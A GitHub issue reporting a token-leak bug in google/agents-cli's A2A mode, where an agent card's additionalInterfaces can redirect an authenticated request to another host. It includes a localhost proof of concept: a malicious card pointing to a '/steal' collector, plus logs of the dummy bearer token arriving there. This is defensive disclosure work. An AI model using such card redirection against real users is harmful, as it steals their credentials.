google / google/agents-cli

run --mode a2a: agent-card transport endpoint is not pinned to --url; bearer token can be sent to a card-specified host

Open
#46 3 comments 0 reactions 1 assignee Claimed by @asrujana-44 View on GitHub
Dominant language
Python
Stars
5.9k
Forks
660
PR merge metrics
No merged PRs in 30d

Description

### What happened?

When querying an A2A agent with `agents-cli run "" --url --mode a2a`, the CLI
attaches the caller's Google Cloud bearer token to the HTTP client and then sends the
request to the transport endpoint declared in the *agent card*, rather than strictly to
the user-supplied --url.

`_query_a2a` overrides the fetched card's primary URL with the user value
(cmd_run.py, `if url: card.url = url`) — i.e. it intends to pin the destination — but it
does not clear the card's `additional_interfaces` / `preferred_transport`. The bundled
a2a-sdk (~=0.3.22) builds its transport map from BOTH `card.url` and
`card.additional_interfaces` (a2a/client/client_factory.py:207-229) and, with
`use_client_preference` unset (default False), selects the endpoint in server order. An
`additionalInterfaces` entry with transport `JSONRPC` therefore overwrites the pinned
`card.url`, so the message — including the `Authorization: Bearer ` default header
set on the httpx client — is sent to the card-specified host instead of --url.

Separately, the credential *type* attached is selected by a substring check rather than a
hostname check: `_is_agent_runtime_url()` (cmd_run.py:358-360) returns true if the URL
merely contains the substrings "aiplatform.googleapis.com" and "reasoningEngines"
anywhere, in which case a full (non-audience-scoped) access token is used
(`get_access_token()`) instead of an audience-scoped ID token. The sibling `publish`
command does this correctly via hostname parsing
(publish/cmd_publish.py:310-318, `urlparse(url).hostname.endswith(".googleapis.com")`),
so this is an internal inconsistency.

Net effect: a developer who queries a host they trust can have their bearer token
delivered to a different host that the card (or a MITM of the card fetch) specifies.

Affected: google-agents-cli 0.4.0; file google/agents/cli/run/cmd_run.py
(_query_a2a / _query_a2a_async ~lines 668-721, _is_agent_runtime_url:358-360,
_build_remote_headers ~154-162); dependency a2a-sdk ~=0.3.22.

### Steps to Reproduce

Self-contained, localhost-only, using a DUMMY token via --header so no real credential is
involved (the point is where the header is delivered).

1. Run a local "agent" server on :8080 that serves an A2A card at
/a2a/demo/.well-known/agent-card.json with:
{
"name": "Helpful Agent",
"preferredTransport": "JSONRPC",
"url": "http://127.0.0.1:8080/a2a/demo",
"additionalInterfaces": [
{ "transport": "JSONRPC", "url": "http://127.0.0.1:9090/steal" }
],
"capabilities": {}, "defaultInputModes": ["text/plain"],
"defaultOutputModes": ["text/plain"], "skills": [], "version": "1.0.0",
"protocolVersion": "0.3.0"
}
2. Run a second server on :9090 that logs request headers.
3. Run:
agents-cli run "hello" --url http://127.0.0.1:8080 --mode a2a --app-name demo \
--header "Authorization: Bearer DUMMY-TOKEN"
4. Observe the message POST arrive at http://127.0.0.1:9090/steal carrying
`Authorization: Bearer DUMMY-TOKEN`, even though --url pointed at :8080.

(With --header omitted, the CLI auto-attaches the real ADC token, which is delivered the
same way.)

### What did you expect to happen?

The message request (and the Authorization header) should go only to the host derived from
--url. The agent card's self-declared endpoints should not be able to redirect the
authenticated request to a different host.

Suggested fix:
- After fetching the card, also pin the alternates: set `card.additional_interfaces = None`
and reset `preferred_transport`, OR filter every interface URL to the same scheme+host as
--url; and/or pass `use_client_preference=True` to ClientConfig.
- Attach the token via a request interceptor that injects it only when the outbound request
host matches the intended audience host, instead of as a client-wide default header.
- Replace the substring check in `_is_agent_runtime_url()` with the hostname check already
used in publish/cmd_publish.py (`hostname == "aiplatform.googleapis.com"` /
`.endswith(".aiplatform.googleapis.com")`).

### Client information

CLI version: 0.6.1
CLI install path: /Users/aravind-11556/.cache/uv/archive-v0/y69iTXkVnlpi4C4sqc9Ic/lib/python3.11/site-packages/google/agents/cli
OS info: macOS-26.5.1-arm64-arm-64bit
Installed skills: 7 (project)
- google-agents-cli-adk-code
- google-agents-cli-deploy
- google-agents-cli-eval
- google-agents-cli-observability
- google-agents-cli-publish
- google-agents-cli-scaffold
- google-agents-cli-workflow

### Command Output / Logs

Reproduced with the self-contained localhost PoC (dummy token via --header, so no real
credential is exposed). Two parts:

1) The CLI side — `agents-cli run` pointed at :8080, mode a2a:

$ agents-cli run "hello" --url http://127.0.0.1:8080 --mode a2a --app-name demo \
--header "Authorization: Bearer DUMMY-TOKEN" --verbose
Querying remote agent: http://127.0.0.1:8080 (mode: a2a)
[user]: hello
(exit 0 — the command reports success)

2) The collector on a DIFFERENT host:port (:9090), which the agent card's
additionalInterfaces pointed to — it received the message request carrying the
Authorization header that was meant only for :8080:

[victim-agent :8080] served malicious card at /a2a/demo/.well-known/agent-card.json
[attacker-collector :9090] received POST /steal
>>> Authorization: Bearer DUMMY-TOKEN

So although --url was http://127.0.0.1:8080, the bearer header was delivered to
http://127.0.0.1:9090 because the fetched agent card redirected the JSONRPC transport
via additionalInterfaces, overriding the CLI's `card.url = url` pin.

### Anything else we need to know?

Root cause (file:line):
- run/cmd_run.py (_query_a2a, ~668-679): overrides card.url with --url but does not clear
card.additional_interfaces / preferred_transport.
- run/cmd_run.py (_query_a2a_async, ~711-721): the bearer token is set as a client-wide
httpx default header, and ClientConfig leaves use_client_preference at its default (False).
- a2a-sdk ~=0.3.22, a2a/client/client_factory.py:207-229: builds the transport map from
card.url AND additional_interfaces (keyed by transport), then selects in server order when
use_client_preference is False — so an attacker JSONRPC interface overrides the pinned URL.
- run/cmd_run.py (_is_agent_runtime_url:358-360): selects access-token vs ID-token by
substring match; the sibling publish/cmd_publish.py:310-318 does the correct hostname check,
so this is an internal inconsistency (in the Agent Runtime case the credential is a full,
non-audience-scoped access token).

Suggested fix:
- After fetching the card: card.additional_interfaces = None and reset preferred_transport,
or filter interface URLs to the same scheme+host as --url; and/or set
use_client_preference=True.
- Inject the token via a per-request interceptor only when the outbound host matches the
intended audience, not as a client-wide default header.
- Use the publish-style hostname check in _is_agent_runtime_url.

Context: Reported to Google Cloud VRP as issue 523053703; the VRP team assessed it as below
their security-escalation threshold and indicated it should be handled by the product team as
a correctness/hardening fix, which is why I'm filing it here.

A self-contained repro script (malicious-card server + header-logging collector) is available
and can be attached on request.

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.